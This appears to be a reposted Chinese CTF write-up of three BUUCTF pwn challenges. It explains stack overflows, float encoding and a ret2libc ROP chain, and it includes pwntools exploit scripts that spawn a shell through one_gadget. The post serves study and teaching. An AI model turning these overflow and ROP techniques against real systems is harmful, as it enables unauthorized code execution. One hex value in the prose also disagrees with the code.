&pwn1_sctf_2016 &ciscn_2019_n_1 &ciscn_2019_c_1 &ciscn_2019_en_2&


  在做buu題目的時候,發現在最上面有幾道被各位師傅打到1分的題,強迫症逼迫我去做那幾道題。

  這里來試着去解決這些題。。。講真的,我感覺自己刷題真的少,即使是很簡單的棧題目,我還是能學習到新的東西。這里就記錄一下這幾道題。

  pwn1_sctf_2016

  檢查了一下保護,32位程序,只開啟了堆棧不可執行。直接ida看一下偽代碼吧。

  看代碼也就是一個簡單的棧溢出。但是我並沒有自己做出這道題,太菜了。。。大一下學期我們有開設C++這門課,但是我由於一些事情,在家休息了一個多月,結果課也落下了。。。太痛苦了,C++吃虧在這里了,總要補的。。。

  其實這個CTF就應該半分做,半分蒙。可以看到fgets是對我們輸入的內容進行了限制,所以我們不能溢出到返回地址,但是可以看到兩個字符串“I”和“you”,其實應該輸入這幾個字符串進去看看是什么意思的。

  這里其實是一個回顯,但是你如果輸入“I”的話,就會給你自動轉換成you,所以就解決溢出不到返回地址的問題了。接下來就是計算了。題目本身有可以直接拿shell的函數,直接返回地址轉到那個shell 的地址就行了。還是羞恥的貼一下exp:

  

 1 from pwn import *
 2 
 3 p = process('./1')
 4 context.log_level = 'debug'
 5 
 6 shell_addr = 0x08048F0D
 7 
 8 payload = 'I'*21 + 'b' + p32(shell_addr)
 9 p.sendline(payload)
10 p.recv()
11 p.recv()

  

  ciscn_2019_n_1

  64位程序,保護只開啟了堆棧不可執行。

  老套路,IDA看一下偽代碼。

  

  可以看到這里gets是可以進行溢出的,但是這道題我們沒有必要進行溢出,只要覆蓋到v2,讓v2==11.28125就可以了。

  接下來就是要明白浮點數如何在內存中表示了。

  所以11.28125用二進制表示的話,就是1011.01001,但是計算機可不會知道哪里有小數點,計算機只會識別01,至於這些01表示什么,那是由人定義的。就像這里,人們把這個定義為浮點數,當呈現在我們面前的時候,就是按照浮點數給我解釋的。

  一個浮點數占有四個字節,一個字節由兩個四位二進制數表示,那么大概就是這么個意思。

  xxxxxxxx xxxxxxxxx xxxxxxxx xxxxxxxx

  每個x都是占一個位,而對於浮點是計算機是怎么進行解釋的呢?

      如你所見,32位每一位都有意義。

  符號位(Sign) : 0代表正,1代表為負

  指數位(Exponent):用於存儲科學計數法中的指數數據,並且采用移位存儲。

  尾數部分(Mantissa):尾數部分

  還是拉回來,看1011.01001 = 1011.01001*2的0次方 == 1.01101001*2的3次方

  因為是正數,所以符號位為0

  指數為127+1==128,127是一個偏移,這個偏移是由於說這個指數可能是負數,用這個指數位的時候需要先減去127再用,所以這里是127。(你或許沒有聽懂...大概意思有個組織這么規定了指數的正負)3就就是上面2的次方。

  再看尾數部分,尾數部分是01101001,接下來我們試着來寫一下這個二進制數

  0    1000 0010    0110 1001 0000 0000 0000 000

  所以連起來就是01000001001101001000000000000000

  轉換成16進制就是0x4134800,所以我們把V2的位置覆蓋成這個數字就行了。

  貼一下exp:

1 from pwn import *
2 
3 p = process('./ciscn_2019_n_1')
4 elf = ELF('./ciscn_2019_n_1')
5 context.log_level = 'debug'
6 
7 payload = 'a'*(0x30-4) + p64(0x41348000)
8 p.sendlineafter('number.\n',payload)
9 p.recv()

  

  ciscn_2019_c_1  /   ciscn_2019_en_1

  感覺兩道題長得一模一樣。。。用一個exp都打通了。

  檢查保護,64位程序,只開啟了堆棧不可執行。

  emmmmmmm,簡單的rop,溢出leaklibc然后拿到shell。

  用system拿不到shell,用one_getgad可以。

  直接貼exp了:

  

 1 from pwn import *
 2 
 3 #p = process('./ciscn_2019_c_1')
 4 p = remote('node3.buuoj.cn',27137)
 5 elf = ELF('./ciscn_2019_c_1')
 6 context.log_level = 'debug'
 7 
 8 pop_rdi = 0x00400c83
 9 sh = 0x0040045c
10 puts_plt = 0x004006E0
11 puts_got = elf.got['puts']
12 start = elf.symbols['_start']
13 #start = 0x0004009A0  //encry fun 
14 
15 p.sendlineafter('choice!\n','1')
16 payload = 'a'*0x50 + 'bbbbbbbb'
17 payload += p64(pop_rdi) + p64(puts_got)
18 payload += p64(puts_plt) + p64(start)
19 p.sendlineafter('encrypted\n',payload)
20 sleep(0.1)
21 p.recv(0x67)
22 puts_addr = u64(p.recv(6).ljust(8,'\x00'))
23 print hex(puts_addr)
24 base_addr = puts_addr - 0x0809c0
25 system_addr = base_addr + 0x04f440
26 binsh_addr = base_addr + 0x1b3e9a
27 shell_addr = base_addr + 0x4f322
28 
29 sleep(0.1)
30 p.sendlineafter('choice!\n','1')
31 payload = 'a'*0x50 + 'bbbbbbbb'
32 payload += p64(shell_addr)
33 p.sendlineafter('encrypted\n',payload)
34 sleep(0.1)
35 p.recv()
36 p.interactive()
37 
38 '''
39 0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
40 constraints:
41   rsp & 0xf == 0
42   rcx == NULL
43 
44 0x4f322 execve("/bin/sh", rsp+0x40, environ)
45 constraints:
46   [rsp+0x40] == NULL
47 
48 0x10a38c execve("/bin/sh", rsp+0x70, environ)
49 constraints:
50   [rsp+0x70] == NULL
51 '''


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM